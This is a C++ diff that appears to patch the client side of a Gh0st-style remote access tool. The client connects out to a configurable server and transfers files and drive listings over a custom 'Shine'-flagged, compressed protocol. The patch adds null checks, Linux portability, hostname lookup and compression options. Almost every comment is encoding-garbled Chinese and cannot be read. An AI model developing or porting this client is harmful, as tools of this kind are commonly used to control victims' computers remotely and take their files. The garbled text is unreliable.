memset(FileSystem, 0, sizeof(FileSystem));
|
||||
// <20>õ<EFBFBD><C3B5>ļ<EFBFBD>ϵͳ<CFB5><CDB3>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD>С
|
||||
GetVolumeInformation(pDrive, NULL, 0, NULL, NULL, NULL, FileSystem, MAX_PATH);
|
||||
SHFILEINFO sfi;
|
||||
SHFILEINFO sfi = {};
|
||||
SHGetFileInfo(pDrive, FILE_ATTRIBUTE_NORMAL, &sfi, sizeof(SHFILEINFO), SHGFI_TYPENAME | SHGFI_USEFILEATTRIBUTES);
|
||||
|
||||
int nTypeNameLen = lstrlen(sfi.szTypeName) + 1;
|
||||
@@ -312,6 +313,10 @@ UINT CFileManager::SendFilesList(LPCTSTR lpszDirectory)
|
||||
WIN32_FIND_DATA FindFileData;
|
||||
|
||||
lpList = (BYTE *)LocalAlloc(LPTR, nBufferSize);
|
||||
if (lpList==NULL)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
wsprintf(strPath, "%s\\*.*", lpszDirectory);
|
||||
hFile = FindFirstFile(strPath, &FindFileData);
|
||||
@@ -338,6 +343,8 @@ UINT CFileManager::SendFilesList(LPCTSTR lpszDirectory)
|
||||
{
|
||||
nBufferSize += MAX_PATH * 2;
|
||||
lpList = (BYTE *)LocalReAlloc(lpList, nBufferSize, LMEM_ZEROINIT|LMEM_MOVEABLE);
|
||||
if (lpList == NULL)
|
||||
continue;
|
||||
}
|
||||
pszFileName = FindFileData.cFileName;
|
||||
if (strcmp(pszFileName, ".") == 0 || strcmp(pszFileName, "..") == 0)
|
||||
@@ -427,6 +434,10 @@ UINT CFileManager::SendFileSize(LPCTSTR lpszFileName)
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
||||
int nPacketSize = lstrlen(lpszFileName) + 10;
|
||||
BYTE *bPacket = (BYTE *)LocalAlloc(LPTR, nPacketSize);
|
||||
if (bPacket==NULL)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
memset(bPacket, 0, nPacketSize);
|
||||
|
||||
bPacket[0] = TOKEN_FILE_SIZE;
|
||||
@@ -442,7 +453,7 @@ UINT CFileManager::SendFileSize(LPCTSTR lpszFileName)
|
||||
|
||||
UINT CFileManager::SendFileData(LPBYTE lpBuffer)
|
||||
{
|
||||
UINT nRet;
|
||||
UINT nRet = 0;
|
||||
FILESIZE *pFileSize;
|
||||
char *lpFileName;
|
||||
|
||||
@@ -467,6 +478,8 @@ UINT CFileManager::SendFileData(LPBYTE lpBuffer)
|
||||
DWORD nNumberOfBytesRead = 0;
|
||||
|
||||
LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, MAX_SEND_BUFFER);
|
||||
if (lpPacket == NULL)
|
||||
return -1;
|
||||
// Token, <20><>С<EFBFBD><D0A1>ƫ<EFBFBD>ƣ<EFBFBD><C6A3>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
lpPacket[0] = TOKEN_FILE_DATA;
|
||||
memcpy(lpPacket + 1, pFileSize, sizeof(FILESIZE));
|
||||
@@ -491,7 +504,7 @@ UINT CFileManager::SendFileData(LPBYTE lpBuffer)
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD>ļ<EFBFBD>
|
||||
void CFileManager::UploadNext()
|
||||
{
|
||||
list <string>::iterator it = m_UploadList.begin();
|
||||
std::list <std::string>::iterator it = m_UploadList.begin();
|
||||
// ɾ<><C9BE>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
m_UploadList.erase(it);
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>ϴ<EFBFBD><CFB4><EFBFBD><EFBFBD><EFBFBD>
|
||||
@@ -514,7 +527,6 @@ int CFileManager::SendToken(BYTE bToken)
|
||||
|
||||
bool CFileManager::UploadToRemote(LPBYTE lpBuffer)
|
||||
{
|
||||
|
||||
if (lpBuffer[lstrlen((char *)lpBuffer) - 1] == '\\')
|
||||
{
|
||||
FixedUploadList((char *)lpBuffer);
|
||||
@@ -529,7 +541,7 @@ bool CFileManager::UploadToRemote(LPBYTE lpBuffer)
|
||||
m_UploadList.push_back((char *)lpBuffer);
|
||||
}
|
||||
|
||||
list <string>::iterator it = m_UploadList.begin();
|
||||
std::list <std::string>::iterator it = m_UploadList.begin();
|
||||
// <20><><EFBFBD>͵<EFBFBD>һ<EFBFBD><D2BB><EFBFBD>ļ<EFBFBD>
|
||||
SendFileSize((*it).c_str());
|
||||
|
||||
@@ -592,7 +604,7 @@ void CFileManager::CreateLocalRecvFile(LPBYTE lpBuffer)
|
||||
strcpy(m_strCurrentProcessFileName, (char *)lpBuffer + 8);
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
||||
m_nCurrentProcessFileLength = (pFileSize->dwSizeHigh * (MAXDWORD + 1)) + pFileSize->dwSizeLow;
|
||||
m_nCurrentProcessFileLength = (pFileSize->dwSizeHigh * (MAXDWORD + long long(1))) + pFileSize->dwSizeLow;
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ¼
|
||||
MakeSureDirectoryPathExists(m_strCurrentProcessFileName);
|
||||
@@ -638,7 +650,7 @@ void CFileManager::GetFileData()
|
||||
|
||||
// 1<>ֽ<EFBFBD>Token,<2C><><EFBFBD>ֽ<EFBFBD>ƫ<EFBFBD>Ƹ<EFBFBD><C6B8><EFBFBD>λ<EFBFBD><CEBB><EFBFBD><EFBFBD><EFBFBD>ֽ<EFBFBD>ƫ<EFBFBD>Ƶ<EFBFBD><C6B5><EFBFBD>λ
|
||||
BYTE bToken[9];
|
||||
DWORD dwCreationDisposition; // <20>ļ<EFBFBD><C4BC><EFBFBD>ʽ
|
||||
DWORD dwCreationDisposition = 0; // <20>ļ<EFBFBD><C4BC><EFBFBD>ʽ
|
||||
memset(bToken, 0, sizeof(bToken));
|
||||
bToken[0] = TOKEN_DATA_CONTINUE;
|
||||
|
||||
|
||||
@@ -12,7 +12,6 @@ typedef IOCPClient CClientSocket;
|
||||
#include <string>
|
||||
|
||||
#include "Manager.h"
|
||||
using namespace std;
|
||||
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
@@ -28,12 +27,12 @@ typedef struct
|
||||
class CFileManager : public CManager
|
||||
{
|
||||
public:
|
||||
void OnReceive(LPBYTE lpBuffer, UINT nSize);
|
||||
virtual void OnReceive(PBYTE lpBuffer, ULONG nSize);
|
||||
UINT SendDriveList();
|
||||
CFileManager(CClientSocket *pClient, int h = 0);
|
||||
CFileManager(CClientSocket *pClient, int h = 0, void* user=nullptr);
|
||||
virtual ~CFileManager();
|
||||
private:
|
||||
list <string> m_UploadList;
|
||||
std::list <std::string> m_UploadList;
|
||||
UINT m_nTransferMode;
|
||||
char m_strCurrentProcessFileName[MAX_PATH]; // <20><>ǰ<EFBFBD><C7B0><EFBFBD>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
|
||||
__int64 m_nCurrentProcessFileLength; // <20><>ǰ<EFBFBD><C7B0><EFBFBD>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC>ij<EFBFBD><C4B3><EFBFBD>
|
||||
|
||||
@@ -1,41 +1,124 @@
|
||||
// IOCPClient.cpp: implementation of the IOCPClient class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#ifdef _WIN32
|
||||
#include "stdafx.h"
|
||||
#else
|
||||
#include <netdb.h>
|
||||
#include <sys/socket.h>
|
||||
#include <netinet/tcp.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <netinet/in.h> // For struct sockaddr_in
|
||||
#include <unistd.h> // For close()
|
||||
#include <cstring> // For memset()
|
||||
inline int WSAGetLastError() { return -1; }
|
||||
#define USING_COMPRESS 1
|
||||
#endif
|
||||
#include "IOCPClient.h"
|
||||
#include <IOSTREAM>
|
||||
#include "zconf.h"
|
||||
#include "zlib.h"
|
||||
#include <assert.h>
|
||||
using namespace std;
|
||||
#include <string>
|
||||
#if USING_ZLIB
|
||||
#include "zlib/zlib.h"
|
||||
#define Z_FAILED(p) (Z_OK != (p))
|
||||
#define Z_SUCCESS(p) (!Z_FAILED(p))
|
||||
#else
|
||||
#if USING_LZ4
|
||||
#include "lz4/lz4.h"
|
||||
#pragma comment(lib, "lz4/lz4.lib")
|
||||
#define Z_FAILED(p) (0 == (p))
|
||||
#define Z_SUCCESS(p) (!Z_FAILED(p))
|
||||
#define compress(dest, destLen, source, sourceLen) LZ4_compress_default((const char*)source, (char*)dest, sourceLen, *(destLen))
|
||||
#define uncompress(dest, destLen, source, sourceLen) LZ4_decompress_safe((const char*)source, (char*)dest, sourceLen, *(destLen))
|
||||
#else
|
||||
#include "zstd/zstd.h"
|
||||
#ifdef _WIN64
|
||||
#pragma comment(lib, "zstd/zstd_x64.lib")
|
||||
#else
|
||||
#pragma comment(lib, "zstd/zstd.lib")
|
||||
#endif
|
||||
#define Z_FAILED(p) ZSTD_isError(p)
|
||||
#define Z_SUCCESS(p) (!Z_FAILED(p))
|
||||
#define ZSTD_CLEVEL 5
|
||||
#if USING_CTX
|
||||
#define compress(dest, destLen, source, sourceLen) ZSTD_compress2(m_Cctx, dest, *(destLen), source, sourceLen)
|
||||
#define uncompress(dest, destLen, source, sourceLen) ZSTD_decompressDCtx(m_Dctx, dest, *(destLen), source, sourceLen)
|
||||
#else
|
||||
#define compress(dest, destLen, source, sourceLen) ZSTD_compress(dest, *(destLen), source, sourceLen, ZSTD_CLEVEL_DEFAULT)
|
||||
#define uncompress(dest, destLen, source, sourceLen) ZSTD_decompress(dest, *(destLen), source, sourceLen)
|
||||
#endif
|
||||
#endif
|
||||
#endif
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
VOID IOCPClient::setManagerCallBack(class CManager* Manager)
|
||||
#ifndef _WIN32
|
||||
BOOL SetKeepAliveOptions(int socket, int nKeepAliveSec = 180) {
|
||||
// <20><><EFBFBD><EFBFBD> TCP <20><><EFBFBD><EFBFBD>ѡ<EFBFBD><D1A1>
|
||||
int enable = 1;
|
||||
if (setsockopt(socket, SOL_SOCKET, SO_KEEPALIVE, &enable, sizeof(enable)) < 0) {
|
||||
Mprintf("Failed to enable TCP keep-alive\n");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// <20><><EFBFBD><EFBFBD> TCP_KEEPIDLE (3<><33><EFBFBD>ӿ<EFBFBD><D3BF>к<EFBFBD><D0BA><EFBFBD>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD> keep-alive <20><>)
|
||||
if (setsockopt(socket, IPPROTO_TCP, TCP_KEEPIDLE, &nKeepAliveSec, sizeof(nKeepAliveSec)) < 0) {
|
||||
Mprintf("Failed to set TCP_KEEPIDLE\n");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// <20><><EFBFBD><EFBFBD> TCP_KEEPINTVL (5<><35><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Լ<EFBFBD><D4BC><EFBFBD>)
|
||||
int keepAliveInterval = 5; // 5<><35>
|
||||
if (setsockopt(socket, IPPROTO_TCP, TCP_KEEPINTVL, &keepAliveInterval, sizeof(keepAliveInterval)) < 0) {
|
||||
Mprintf("Failed to set TCP_KEEPINTVL\n");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// <20><><EFBFBD><EFBFBD> TCP_KEEPCNT (<28><><EFBFBD><EFBFBD>5<EFBFBD><35>̽<EFBFBD><CCBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD>ӶϿ<D3B6>)
|
||||
int keepAliveProbes = 5;
|
||||
if (setsockopt(socket, IPPROTO_TCP, TCP_KEEPCNT, &keepAliveProbes, sizeof(keepAliveProbes)) < 0) {
|
||||
Mprintf("Failed to set TCP_KEEPCNT\n");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
Mprintf("TCP keep-alive settings applied successfully\n");
|
||||
return TRUE;
|
||||
}
|
||||
#endif
|
||||
|
||||
VOID IOCPClient::setManagerCallBack(void* Manager, DataProcessCB dataProcess)
|
||||
{
|
||||
m_Manager = Manager;
|
||||
|
||||
m_DataProcess = dataProcess;
|
||||
}
|
||||
|
||||
|
||||
IOCPClient::IOCPClient(bool exit_while_disconnect)
|
||||
IOCPClient::IOCPClient(State&bExit, bool exit_while_disconnect) : g_bExit(bExit)
|
||||
{
|
||||
m_Manager = NULL;
|
||||
#ifdef _WIN32
|
||||
WSADATA wsaData;
|
||||
WSAStartup(MAKEWORD(2, 2), &wsaData);
|
||||
#endif
|
||||
|
||||
m_sClientSocket = INVALID_SOCKET;
|
||||
m_hWorkThread = NULL;
|
||||
m_bWorkThread = S_STOP;
|
||||
|
||||
memset(m_szPacketFlag, 0, sizeof(m_szPacketFlag));
|
||||
memcpy(m_szPacketFlag,"Shine",FLAG_LENGTH);
|
||||
|
||||
m_bIsRunning = TRUE;
|
||||
m_bConnected = FALSE;
|
||||
|
||||
InitializeCriticalSection(&m_cs);
|
||||
m_exit_while_disconnect = exit_while_disconnect;
|
||||
#if USING_CTX
|
||||
m_Cctx = ZSTD_createCCtx();
|
||||
m_Dctx = ZSTD_createDCtx();
|
||||
ZSTD_CCtx_setParameter(m_Cctx, ZSTD_c_compressionLevel, ZSTD_CLEVEL);
|
||||
#endif
|
||||
}
|
||||
|
||||
IOCPClient::~IOCPClient()
|
||||
@@ -54,17 +137,57 @@ IOCPClient::~IOCPClient()
|
||||
m_hWorkThread = NULL;
|
||||
}
|
||||
|
||||
#ifdef _WIN32
|
||||
WSACleanup();
|
||||
#endif
|
||||
|
||||
while (S_RUN == m_bWorkThread)
|
||||
Sleep(10);
|
||||
|
||||
DeleteCriticalSection(&m_cs);
|
||||
|
||||
m_bWorkThread = S_END;
|
||||
#if USING_CTX
|
||||
ZSTD_freeCCtx(m_Cctx);
|
||||
ZSTD_freeDCtx(m_Dctx);
|
||||
#endif
|
||||
}
|
||||
|
||||
BOOL IOCPClient::ConnectServer(char* szServerIP, unsigned short uPort)
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȡIP<49><50>ַ
|
||||
inline std::string GetIPAddress(const char *hostName)
|
||||
{
|
||||
#ifdef _WIN32
|
||||
struct hostent *host = gethostbyname(hostName);
|
||||
#ifdef _DEBUG
|
||||
Mprintf("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IP<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ: %s.\n", host->h_addrtype == AF_INET ? "IPV4" : "IPV6");
|
||||
for (int i = 0; host->h_addr_list[i]; ++i)
|
||||
Mprintf("<EFBFBD><EFBFBD>ȡ<EFBFBD>ĵ<EFBFBD>%d<><64>IP: %s\n", i+1, inet_ntoa(*(struct in_addr*)host->h_addr_list[i]));
|
||||
#endif
|
||||
if (host == NULL || host->h_addr_list == NULL)
|
||||
return "";
|
||||
return host->h_addr_list[0] ? inet_ntoa(*(struct in_addr*)host->h_addr_list[0]) : "";
|
||||
#else
|
||||
struct addrinfo hints, * res;
|
||||
memset(&hints, 0, sizeof(hints));
|
||||
hints.ai_family = AF_INET; // IPv4
|
||||
hints.ai_socktype = SOCK_STREAM; // TCP socket
|
||||
|
||||
int status = getaddrinfo(hostName, nullptr, &hints, &res);
|
||||
if (status != 0) {
|
||||
Mprintf("getaddrinfo failed: %s\n", gai_strerror(status));
|
||||
return "";
|
||||
}
|
||||
|
||||
struct sockaddr_in* addr = reinterpret_cast<struct sockaddr_in*>(res->ai_addr);
|
||||
char ip[INET_ADDRSTRLEN];
|
||||
inet_ntop(AF_INET, &(addr->sin_addr), ip, sizeof(ip));
|
||||
|
||||
Mprintf("IP Address: %s \n", ip);
|
||||
|
||||
freeaddrinfo(res); // <20><>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD><EFBFBD>ͷŵ<CDB7>ַ<EFBFBD><D6B7>Ϣ
|
||||
return ip;
|
||||
#endif
|
||||
}
|
||||
|
||||
BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
|
||||
{
|
||||
m_sClientSocket = socket(AF_INET,SOCK_STREAM, IPPROTO_TCP); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
@@ -73,11 +196,15 @@ BOOL IOCPClient::ConnectServer(char* szServerIP, unsigned short uPort)
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
#ifdef _WIN32
|
||||
//<2F><><EFBFBD><EFBFBD>sockaddr_in<69>ṹ Ҳ<><D2B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ض˵Ľṹ
|
||||
sockaddr_in ServerAddr;
|
||||
ServerAddr.sin_family = AF_INET; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> IP
|
||||
ServerAddr.sin_port = htons(uPort);
|
||||
ServerAddr.sin_addr.S_un.S_addr = inet_addr(szServerIP);
|
||||
// <20><>szServerIP<49><50><EFBFBD><EFBFBD><EFBFBD>ֿ<EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IPת<50><D7AA>
|
||||
std::string server = ('0' <= szServerIP[0] && szServerIP[0] <= '9')
|
||||
? szServerIP : GetIPAddress(szServerIP);
|
||||
ServerAddr.sin_addr.S_un.S_addr = inet_addr(server.c_str());
|
||||
|
||||
if (connect(m_sClientSocket,(SOCKADDR *)&ServerAddr,sizeof(sockaddr_in)) == SOCKET_ERROR)
|
||||
{
|
||||
@@ -88,12 +215,42 @@ BOOL IOCPClient::ConnectServer(char* szServerIP, unsigned short uPort)
|
||||
}
|
||||
return FALSE;
|
||||
}
|
||||
#else
|
||||
sockaddr_in ServerAddr = {};
|
||||
ServerAddr.sin_family = AF_INET; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> IP
|
||||
ServerAddr.sin_port = htons(uPort);
|
||||
std::string server = ('0' <= szServerIP[0] && szServerIP[0] <= '9')
|
||||
? szServerIP : GetIPAddress(szServerIP);
|
||||
|
||||
// <20><>szServerIP<49><50><EFBFBD><EFBFBD><EFBFBD>ֿ<EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IPת<50><D7AA>
|
||||
// ʹ<><CAB9> inet_pton <20><><EFBFBD><EFBFBD> inet_addr (inet_pton <20><><EFBFBD><EFBFBD>֧<EFBFBD><D6A7> IPv4 <20><> IPv6)
|
||||
if (inet_pton(AF_INET, server.c_str(), &ServerAddr.sin_addr) <= 0) {
|
||||
Mprintf("Invalid address or address not supported\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><D7BD><EFBFBD>
|
||||
m_sClientSocket = socket(AF_INET, SOCK_STREAM, 0);
|
||||
if (m_sClientSocket == -1) {
|
||||
Mprintf("Failed to create socket\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
// <20><><EFBFBD>ӵ<EFBFBD><D3B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
if (connect(m_sClientSocket, (struct sockaddr*)&ServerAddr, sizeof(ServerAddr)) == -1) {
|
||||
Mprintf("Connection failed\n");
|
||||
close(m_sClientSocket);
|
||||
m_sClientSocket = -1; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><D7BD><EFBFBD><EFBFBD><EFBFBD>Ч
|
||||
return false;
|
||||
}
|
||||
#endif
|
||||
|
||||
const int chOpt = 1; // True
|
||||
// Set KeepAlive <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, <20><>ֹ<EFBFBD><D6B9><EFBFBD><EFBFBD><EFBFBD>˲<EFBFBD><CBB2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
if (setsockopt(m_sClientSocket, SOL_SOCKET, SO_KEEPALIVE,
|
||||
(char *)&chOpt, sizeof(chOpt)) == 0)
|
||||
{
|
||||
#ifdef _WIN32
|
||||
// <20><><EFBFBD>ó<EFBFBD>ʱ<EFBFBD><CAB1>ϸ<EFBFBD><CFB8>Ϣ
|
||||
tcp_keepalive klive;
|
||||
klive.onoff = 1; // <20><><EFBFBD>ñ<EFBFBD><C3B1><EFBFBD>
|
||||
@@ -101,13 +258,22 @@ BOOL IOCPClient::ConnectServer(char* szServerIP, unsigned short uPort)
|
||||
klive.keepaliveinterval = 1000 * 5; // <20><><EFBFBD>Լ<EFBFBD><D4BC><EFBFBD>Ϊ5<CEAA><35> Resend if No-Reply
|
||||
WSAIoctl(m_sClientSocket, SIO_KEEPALIVE_VALS,&klive,sizeof(tcp_keepalive),
|
||||
NULL, 0,(unsigned long *)&chOpt,0,NULL);
|
||||
#else
|
||||
// <20><><EFBFBD>ñ<EFBFBD><C3B1><EFBFBD>ѡ<EFBFBD><D1A1>
|
||||
SetKeepAliveOptions(m_sClientSocket);
|
||||
#endif
|
||||
}
|
||||
if (m_hWorkThread == NULL){
|
||||
#ifdef _WIN32
|
||||
m_hWorkThread = (HANDLE)CreateThread(NULL, 0,
|
||||
(LPTHREAD_START_ROUTINE)WorkThreadProc,(LPVOID)this, 0, NULL);
|
||||
WorkThreadProc,(LPVOID)this, 0, NULL);
|
||||
m_bWorkThread = m_hWorkThread ? S_RUN : S_STOP;
|
||||
#else
|
||||
pthread_t id = 0;
|
||||
m_hWorkThread = (HANDLE)pthread_create(&id, nullptr, (void* (*)(void*))IOCPClient::WorkThreadProc, this);
|
||||
#endif
|
||||
}
|
||||
std::cout<<"<EFBFBD><EFBFBD><EFBFBD>ӷ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>˳ɹ<EFBFBD>.\n";
|
||||
Mprintf("<EFBFBD><EFBFBD><EFBFBD>ӷ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>˳ɹ<EFBFBD>.\n");
|
||||
m_bConnected = TRUE;
|
||||
return TRUE;
|
||||
}
|
||||
@@ -115,9 +281,9 @@ BOOL IOCPClient::ConnectServer(char* szServerIP, unsigned short uPort)
|
||||
DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam)
|
||||
{
|
||||
IOCPClient* This = (IOCPClient*)lParam;
|
||||
char szBuffer[MAX_RECV_BUFFER] = {0};
|
||||
char* szBuffer = new char[MAX_RECV_BUFFER];
|
||||
fd_set fd;
|
||||
const struct timeval tm = { 2, 0 };
|
||||
struct timeval tm = { 2, 0 };
|
||||
|
||||
while (This->IsRunning()) // û<><C3BB><EFBFBD>˳<EFBFBD><CBB3><EFBFBD><EFBFBD><EFBFBD>һֱ<D2BB><D6B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѭ<EFBFBD><D1AD><EFBFBD><EFBFBD>
|
||||
{
|
||||
@@ -128,13 +294,17 @@ DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam)
|
||||
}
|
||||
FD_ZERO(&fd);
|
||||
FD_SET(This->m_sClientSocket, &fd);
|
||||
#ifdef _WIN32
|
||||
int iRet = select(NULL, &fd, NULL, NULL, &tm);
|
||||
#else
|
||||
int iRet = select(This->m_sClientSocket + 1, &fd, NULL, NULL, &tm);
|
||||
#endif
|
||||
if (iRet <= 0)
|
||||
{
|
||||
if (iRet == 0) Sleep(50);
|
||||
else
|
||||
{
|
||||
printf("[select] return %d, GetLastError= %d. \n", iRet, WSAGetLastError());
|
||||
Mprintf("[select] return %d, GetLastError= %d. \n", iRet, WSAGetLastError());
|
||||
This->Disconnect(); //<2F><><EFBFBD>մ<EFBFBD><D5B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
if(This->m_exit_while_disconnect)
|
||||
break;
|
||||
@@ -142,12 +312,12 @@ DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam)
|
||||
}
|
||||
else if (iRet > 0)
|
||||
{
|
||||
memset(szBuffer, 0, sizeof(szBuffer));
|
||||
int iReceivedLength = recv(This->m_sClientSocket,
|
||||
szBuffer,sizeof(szBuffer), 0); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ض˷<D8B6><CBB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
memset(szBuffer, 0, MAX_RECV_BUFFER);
|
||||
int iReceivedLength = recv(This->m_sClientSocket,
|
||||
szBuffer, MAX_RECV_BUFFER, 0); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ض˷<D8B6><CBB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
if (iReceivedLength <= 0)
|
||||
{
|
||||
int a = GetLastError();
|
||||
int a = WSAGetLastError();
|
||||
This->Disconnect(); //<2F><><EFBFBD>մ<EFBFBD><D5B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
if(This->m_exit_while_disconnect)
|
||||
break;
|
||||
@@ -157,8 +327,11 @@ DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam)
|
||||
}
|
||||
}
|
||||
}
|
||||
CloseHandle(This->m_hWorkThread);
|
||||
This->m_hWorkThread = NULL;
|
||||
This->m_bWorkThread = S_STOP;
|
||||
This->m_bIsRunning = FALSE;
|
||||
delete[] szBuffer;
|
||||
|
||||
return 0xDEAD;
|
||||
}
|
||||
@@ -170,71 +343,76 @@ VOID IOCPClient::OnServerReceiving(char* szBuffer, ULONG ulLength)
|
||||
{
|
||||
assert (ulLength > 0);
|
||||
//<2F><><EFBFBD>½ӵ<C2BD><D3B5><EFBFBD><EFBFBD>ݽ<EFBFBD><DDBD>н<EFBFBD>ѹ<EFBFBD><D1B9>
|
||||
CBuffer m_CompressedBuffer;
|
||||
m_CompressedBuffer.WriteBuffer((LPBYTE)szBuffer, ulLength);
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7>С <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǾͲ<C7BE><CDB2><EFBFBD><EFBFBD><EFBFBD>ȷ<EFBFBD><C8B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
while (m_CompressedBuffer.GetBufferLength() > HDR_LENGTH)
|
||||
{
|
||||
char szPacketFlag[FLAG_LENGTH] = {0};
|
||||
CopyMemory(szPacketFlag, m_CompressedBuffer.GetBuffer(),FLAG_LENGTH);
|
||||
char szPacketFlag[FLAG_LENGTH + 3] = {0};
|
||||
LPBYTE src = m_CompressedBuffer.GetBuffer();
|
||||
CopyMemory(szPacketFlag, src, FLAG_LENGTH);
|
||||
//<2F>ж<EFBFBD><D0B6><EFBFBD><EFBFBD><EFBFBD>ͷ
|
||||
if (memcmp(m_szPacketFlag, szPacketFlag, FLAG_LENGTH) != 0)
|
||||
{
|
||||
throw "Bad Buffer";
|
||||
Mprintf("[ERROR] OnServerReceiving memcmp fail: unknown header '%s'\n", szPacketFlag);
|
||||
m_CompressedBuffer.ClearBuffer();
|
||||
break;
|
||||
}
|
||||
|
||||
ULONG ulPackTotalLength = 0;
|
||||
CopyMemory(&ulPackTotalLength, m_CompressedBuffer.GetBuffer(FLAG_LENGTH),
|
||||
sizeof(ULONG));
|
||||
CopyMemory(&ulPackTotalLength, m_CompressedBuffer.GetBuffer(FLAG_LENGTH), sizeof(ULONG));
|
||||
|
||||
//--- <20><><EFBFBD>ݵĴ<DDB5>С<EFBFBD><D0A1>ȷ<EFBFBD>ж<EFBFBD>
|
||||
if (ulPackTotalLength &&
|
||||
(m_CompressedBuffer.GetBufferLength()) >= ulPackTotalLength)
|
||||
ULONG len = m_CompressedBuffer.GetBufferLength();
|
||||
if (ulPackTotalLength && len >= ulPackTotalLength)
|
||||
{
|
||||
m_CompressedBuffer.ReadBuffer((PBYTE)szPacketFlag, FLAG_LENGTH);//<2F><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7> shine
|
||||
|
||||
m_CompressedBuffer.ReadBuffer((PBYTE) &ulPackTotalLength, sizeof(ULONG));
|
||||
|
||||
ULONG ulOriginalLength = 0;
|
||||
|
||||
